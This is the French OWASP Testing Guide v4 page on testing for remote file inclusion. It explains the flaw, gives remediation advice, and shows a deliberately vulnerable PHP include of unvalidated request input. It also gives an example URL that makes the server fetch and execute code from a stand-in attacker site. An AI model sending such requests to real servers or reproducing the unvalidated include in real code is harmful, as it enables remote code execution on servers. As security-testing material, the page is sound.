4.8.12.2 Tester l'inclusion de fichiers distants

From OWASP
Jump to: navigation, search
This article is part of the new OWASP Testing Guide v4.
Back to the OWASP Testing Guide v4 ToC: https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents Back to the OWASP Testing Guide Project: https://www.owasp.org/index.php/OWASP_Testing_Project

Sommaire

Une vulnérabilité d'inclusion de fichier permet à un attaquant d'inclure un fichier, usuellement en eploitant un mécanisme d'inclusion dynamique de fichier implémenté dans l'application visée. La vulnérabilité survient à cause d'entrées utilisateur utilisées sans validation correcte.


Cela peut entraîner comme impact l'affichage du contenu du fichier, mais selon la criticité, cela peut aussi causer :

  • L'exécution de code sur le serveur web
  • L'exécution de code côté client, comme du JavaScript, qui peut permettre d'autres attaques comme le cross site scripting (XSS)
  • Un déni de service (DOS)
  • Des fuites d'informations sensibles


L'inclusion de fichiers locaux (aussi connue sous le nom de LFI : Local File Inclusion) est le processus par lequel on va inclure des fichiers déjà présents sur le serveur, en exploitant des procédures d'inclusion vulnérables implémentée par l'application. Cette vulnérabilité advient, par exemple, lorsqu'une page reçoit en entrée le chemin d'un fichier devant être inclus et que cette entrée n'est pas validée correctement, autorisant l'injection d'une URL externe. Bien que la plupart de nos exemples soient en PHP, c'est une vulnérabilité commune à d'autres technologies comme JSP, ASP, etc.


Comment tester

Comme les LFI adviennent quand des chemins passés à des instructions "include" ne sont pas correctement validés, dans une approche en boite noire, il faudra rechercher les scripts qui prennent des noms de fichiers en paramètres. Considérons l'exemple PHP suivant :

$incfile = $_REQUEST["file"];
include($incfile.".php");


Dans cet exemple le chemin est extrait de la quête HTTP et aucune validation d'entrée n'est faite (par exemple vérifier que l'entrée est dans une liste blanche), donc ce morceau de code cause une vulnérabilité à ce type d'attaque :

 
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page


Dans ce cas, le fichier distant va être inclus ainsi que tout le code qu'il contient et sera exécuté par le serveur.


Références

Whitepapers


Remédiation

La solution la plus efficace pour éliminer les vulnérabilités d'inclusion de fichier est d'éviter de passer des entrées utilisateurs à toute API de système de fichiers. Si ce n'est pas possible, l'application peut maintenir une liste blanche de fichiers pouvant être inclus dans la page, et utiliser un identifiant (par exemple l'index) pour accéder au fichier sélectionné. Toute requête contenant un identifiant invalide devra être rejetée, ainsi il n'y aura pas de surface d'attaque permettant aux utilisateurs malicieux de manipuler le chemin.